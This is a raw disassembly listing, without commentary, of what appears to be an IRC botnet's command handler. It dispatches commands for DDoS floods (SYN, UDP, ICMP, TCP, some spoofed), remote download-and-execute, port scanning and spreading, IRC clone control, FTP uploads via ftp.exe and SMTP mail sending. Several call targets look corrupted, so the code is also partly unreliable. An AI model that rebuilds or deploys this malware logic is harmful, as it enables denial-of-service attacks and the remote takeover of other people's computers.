		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41107E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_411057
		cmp	[ebp+var_9C4], bl
		jz	short loc_41102D
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411047
; ---------------------------------------------------------------------------


loc_41102D:				; CODE XREF: sub_40EE72+21A7j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_411051
		push	esi
		push	eax
		push	ebx


loc_411047:				; CODE XREF: sub_40EE72+21B9j
					; sub_40EE72+21E3j
		call	sub_40DE07
		add	esp, 18h
		jmp	short loc_4110AB
; ---------------------------------------------------------------------------


loc_411051:				; CODE XREF: sub_40EE72+21D0j
		push	ebx
		push	eax
		push	2
		jmp	short loc_411047
; ---------------------------------------------------------------------------


loc_411057:				; CODE XREF: sub_40EE72+219Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E337
		add	esp, 10h
		test	eax, eax
		jz	short loc_411077
		push	offset dword_431E78
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_411077:				; CODE XREF: sub_40EE72+21FCj
		push	offset dword_431E4C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_41107E:				; CODE XREF: sub_40EE72+2198j
		push	edi
		push	offset aSend	; "send"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4110C9
		cmp	[ebp+arg_18], ebx
		jz	short loc_4110C2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E5EB
		add	esp, 10h


loc_4110AB:				; CODE XREF: sub_40EE72+2119j
					; sub_40EE72+214Aj ...
		push	eax
		push	offset aS_1	; "%s"


loc_4110B1:				; CODE XREF: sub_40EE72+4852j
					; sub_40EE72+4B79j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0


loc_4110BD:				; CODE XREF: sub_40EE72+5703j
		add	esp, 0Ch
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------


loc_4110C2:				; CODE XREF: sub_40EE72+2220j
		push	offset dword_431E1C
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_4110C9:				; CODE XREF: sub_40EE72+221Bj
		push	offset dword_431DF0


loc_4110CE:				; CODE XREF: sub_40EE72+203Bj
					; sub_40EE72+20A5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4110DC:				; CODE XREF: sub_40EE72+2043j
					; sub_40EE72+224Ej ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4110FD
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4110FD:				; CODE XREF: sub_40EE72+226Dj
					; sub_40EE72+4847j ...
		mov	esi, [ebp+arg_24]


loc_411100:				; CODE XREF: sub_40EE72+9B3j
					; sub_40EE72+4B35j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		mov	eax, esi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_411114:				; CODE XREF: sub_40EE72+2020j
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413400
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413312
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E0
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328A
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413224
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BB
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413181
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413113
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41308E
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413022
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFC
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F99
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED0
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E33
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CAF
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1C
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1B
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AC9
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C8
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DD
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127D8
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DA
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412599
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249C
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123A9
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D4
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BC
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41189C
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_4179C0
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_4179C0
		push	offset asc_42A3B4 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A7D7
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4179C0
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	dword_43AD10
		lea	eax, [ebp+var_3F8]
		push	eax
		call	dword_43AE1C
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43AE18
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	dword_43AD98
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	dword_43ADE8
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		push	esi
		call	dword_43AE30
		call	dword_43ACF8
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_431AA4


loc_411888:				; CODE XREF: sub_40EE72+3B51j
					; sub_40EE72+3E38j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_413A62
; ---------------------------------------------------------------------------


loc_41189C:				; CODE XREF: sub_40EE72+28C0j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		push	4
		push	esi
		call	sub_40D000
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411906
		push	esi
		push	offset dword_431A4C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_411906:				; CODE XREF: sub_40EE72+2A87j
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40F239
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417956
		push	[ebp+arg_24]
		call	sub_417900
		add	esp, 20h
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43AD0C
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_4119D3
		push	offset dword_4319D4
		jmp	short loc_4119D8
; ---------------------------------------------------------------------------


loc_4119D3:				; CODE XREF: sub_40EE72+2B58j
		push	offset dword_431998


loc_4119D8:				; CODE XREF: sub_40EE72+2B5Fj
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A01
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_411A01:				; CODE XREF: sub_40EE72+2B71j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D


loc_411A0D:				; CODE XREF: sub_40EE72+2BC0j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40D000
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40F239
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_419BBA
		jmp	short loc_411A0D
; ---------------------------------------------------------------------------


loc_411A34:				; CODE XREF: sub_40EE72+2A3Bj
					; sub_40EE72+2A52j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406AF8


loc_411A5D:				; CODE XREF: sub_40EE72+587Aj
		add	esp, 24h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_411A65:				; CODE XREF: sub_40EE72+2892j
					; sub_40EE72+28A9j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		push	offset dword_431960
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_411AC8:				; CODE XREF: sub_40EE72+2C1Cj
					; sub_40EE72+2C33j ...
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_411BF4
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_6F8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_0]
		call	sub_41781F
		mov	[ebp+var_574], eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_411B65
		mov	eax, offset aNormal ; "Normal"


loc_411B65:				; CODE XREF: sub_40EE72+2CECj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_43190C
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D82
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411BE3


loc_411BCD:				; CODE XREF: sub_40EE72+2D6Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_411BCD
; ---------------------------------------------------------------------------


loc_411BE3:				; CODE XREF: sub_40EE72+2D59j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_4318C4
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_411BF4:				; CODE XREF: sub_40EE72+2C67j
		push	offset dword_43187C
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_411BFE:				; CODE XREF: sub_40EE72+284Dj
					; sub_40EE72+2864j ...
		cmp	dword_43AE88, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411D09
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_431824
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40AF86
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411CF8


loc_411CE6:				; CODE XREF: sub_40EE72+2E84j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_411D22
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_411CE6
; ---------------------------------------------------------------------------


loc_411CF8:				; CODE XREF: sub_40EE72+2E72j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_4317DC
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_411D09:				; CODE XREF: sub_40EE72+2D95j
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418C10


loc_411D1F:				; CODE XREF: sub_40EE72+3A66j
		add	esp, 0Ch


loc_411D22:				; CODE XREF: sub_40EE72+2E7Aj
					; sub_40EE72+2FD2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]


loc_411D2F:				; CODE XREF: sub_40EE72+567Ej
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_414629
; ---------------------------------------------------------------------------


loc_411D42:				; CODE XREF: sub_40EE72+2808j
					; sub_40EE72+281Fj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_411DA7
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_411DAD
; ---------------------------------------------------------------------------


loc_411DA7:				; CODE XREF: sub_40EE72+2F24j
		mov	[ebp+var_30C], ebx


loc_411DAD:				; CODE XREF: sub_40EE72+2F33j
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_43176C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B112
		push	ebx
		push	ebx
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_411E54


loc_411E3E:				; CODE XREF: sub_40EE72+2FE0j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411D22
		push	32h
		call	near ptr 2620494h
		nop
		jmp	short loc_411E3E
; ---------------------------------------------------------------------------


loc_411E54:				; CODE XREF: sub_40EE72+2FCAj
		call	near ptr 267036Ah
		nop
		push	eax
		push	offset dword_431724
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_411E65:				; CODE XREF: sub_40EE72+27DAj
					; sub_40EE72+27F1j
		push	8
		call	sub_416FA4
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41781F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 3E8h
		jle	short loc_411EB8
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_4316D8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
